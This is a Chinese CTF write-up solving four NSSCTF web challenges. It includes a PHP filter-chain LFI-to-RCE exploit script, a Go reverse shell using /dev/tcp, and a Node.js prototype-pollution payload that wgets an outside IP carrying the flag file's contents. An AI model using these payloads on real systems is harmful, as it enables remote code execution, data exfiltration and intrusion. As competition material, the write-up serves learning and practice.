NSSCTF Round#8 Basic

from:http://v2ish1yan.top

MyDoor

使用php伪协议读取index.php的代码

php://filter/read=convert.base64-encode/resource=index.php

<?php
error_reporting(0);if (isset($_GET['N_S.S'])) {eval($_GET['N_S.S']);
}if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include $file;} else {die('error.');}
}

发现可以执行命令，因为php的特性如果执行给N_S.S传参，那么N_S.S在后端会被规范成N_S_S

所以使用N[S.S来使后端得到的参数为N_S.S（具体原因自己去搜吧）

我原本以为flag在主机里，找了半天结果在phpinfo …

?N[S.S=phpinfo();

MyPage

感觉部分源码和MyDoor是一样的，只是我尝试用伪协议读取index.php的时候没回显，所以猜测应该就是用了include来读取文件

看到include，我就想起了zedd的一篇文章

文章:

• hxp CTF 2021 - The End Of LFI?
• Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

直接使用exp，来执行命令，得到flag

import requestsurl = "http://43.143.7.127:28742/index.php?file="
file_to_use = "/etc/passwd"
command = "cat flag.php"#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include","file": final_payload
})print(r.text)

Upload_gogoggo

一个没有过滤的文件上传，且在上传后会执行go加上文件名.之前的字符串的命令，并且是对你上传的文件进行执行的，（猜的）

eg:

上传文件名为run.go，那么就会执行go run run.go，这样会执行go里的代码

所以上传一个反弹shell的go文件

package mainimport ("fmt""log""os/exec"
)func main() {cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")out, err := cmd.CombinedOutput()if err != nil {fmt.Printf("combined out:\n%s\n", string(out))log.Fatalf("cmd.Run() failed with %s\n", err)}fmt.Printf("combined out:\n%s\n", string(out))
}

然后文件名为run.go，上传就可以得到shell

谢队把flag藏到/home了，挨打！

ez_node

源码

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");const PORT = process.env.port || 3000
const app = express();global = "global"app.listen(PORT, () => {console.log(`listen at ${PORT}`);
});function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => {try{let oldName = req.files[0].path;let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;fs.renameSync(oldName, newName);res.send({err: 0,url:"./upload/" +req.files[0].filename +path.parse(req.files[0].originalname).ext});}catch(error){res.send(require('./err.js').getRandomErr())}
});app.post('/pollution', require('body-parser').json(), (req, res) => {let data = {};try{merge(data, req.body);res.send('Register successfully!tql')require('./err.js').getRandomErr()}catch(error){res.send(require('./err.js').getRandomErr())}
})

只有一个merge函数里可以进行原型链污染，而且从很多方面都可以看出来这个是原型链污染

具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454

可以污染他来加载任意包从而执行任意命令

根据出题人的本意是让我们上传一个包，然后去加载那个包，但是我是直接用的别人的exp，而且题目环境也包含exp里需要的文件，所以直接打就行

给/pollution路由传数据

{"__proto__": {"data": {"name": "./err.js","exports": "./preinstall.js"},"path": "/opt/yarn-v1.22.19","npm_config_global": 1,"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://110.40.193.202:9999/`cat /flag`'])"},"a": null
}

然后就可以得到flag

至于这个exp是在哪找到的，就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454

在github上直接搜就可以找到 :>

更加精细的文章可以看

• huli老师的文章

• Node.js require() RCE复现